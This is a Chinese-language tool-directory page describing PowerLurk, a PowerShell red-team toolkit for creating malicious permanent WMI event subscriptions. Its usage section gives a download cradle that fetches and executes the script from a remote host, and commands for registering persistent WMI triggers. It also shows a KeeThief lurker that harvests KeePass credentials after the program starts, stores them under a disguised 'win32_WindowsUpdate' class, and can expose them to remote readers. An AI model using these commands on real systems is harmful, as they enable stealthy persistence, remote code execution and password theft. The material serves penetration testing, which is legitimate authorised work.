Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PowerLurk — 使用 PowerShell 的恶意 WMI 事件 | Kitploit
工具/GitHubGitHub/sw4mpf0x/powerlurk
权限提升Payload生成持久化机制脚本与自动化信息收集后渗透利用渗透测试红队
GitHubsw4mpf0x/powerlurk

PowerLurk

使用 PowerShell 的恶意 WMI 事件

查看仓库
3986610年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PowerLurk

PowerLurk 是一个用于构建恶意 WMI 事件订阅的 PowerShell 工具集。其目标是在渗透测试或红队行动期间更轻松地触发 WMI 事件。更多详细信息请参阅我的文章 利用 WMI 事件监控用户:PowerLurk 介绍:https://pentestarmoury.com/2016/07/13/151/

要使用 PowerLurk,您需要将 PowerLurk.ps1 模块导入到您的 PowerShell 实例中。可以通过以下几种方式完成:

本地导入

PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1

下载 Cradle

PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"

Get-WmiEvent

默认情况下,Get-WmiEvent 查询 WMI 中所有的 __FilterToConsumerBinding 实例及关联的 __EventFilter 和 __EventConsumer 实例。返回的对象可以通过管道传递给 Remove-WmiObject 进行删除。

返回所有名称为 'RedTeamEvent' 的活动 WMI 事件对象

Get-WmiEvent -Name RedTeamEvent

Twitter - @sw4mp_fox 删除 'RedTeamEvent' WMI 事件对象

Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject

Register-MaliciousWmiEvent

该 cmdlet 是 PowerLurk 的核心。它将命令、脚本或脚本块作为操作,预置的触发器作为触发条件,然后创建实现完整永久性 WMI 事件订阅所需的 WMI 筛选器、消费者和 FilterToConsumerBinding。多个 WMI 事件触发器(筛选器)已预先配置。必须使用 -Trigger 参数指定触发器。提供了三种消费者可供选择:PermanentCommand、PermanentScript 和 LocalScriptBLock。用法示例:

每当 notepad.exe 启动时,将其进程 ID 写入 C:\temp\log.txt

Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe

清除恶意 WMI 事件

Get-WmiEvent -Name LogNotepad | Remove-WmiObject

Add-KeeThiefLurker

创建一个永久性 WMI 事件,该事件会在 'keepass' 进程启动后 4 分钟执行 KeeThief(参见 @Harmj0y 的 KeeThief:https://github.com/adaptivethreat/KeeThief)。这给目标留出时间登录其 KeePass 数据库。

KeeThief 逻辑及其输出存储在自定义的 WMI 命名空间和类中,或者注册表值中。如果选择自定义 WMI 命名空间和类,您可以选择公开该命名空间,以便 'Everyone' 可以远程读取。注册表路径和值名称可使用相关开关自定义,但这是可选的,因为已设置默认值。用法示例:

使用 WMI 类存储添加 KeeThiefLurker 事件

Add-KeeThiefLurker -EventName KeeThief -WMI

查询自定义 WMI 类

Get-WmiObject -Namespace root\software win32_WindowsUpdate -List

从 WMI 类中提取 KeeThief 输出

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))

清除 KeeThiefLurker

Remove-KeeThiefLurker -EventName KeeThief -WMI

Twitter - @sw4mp_f0x

下载工具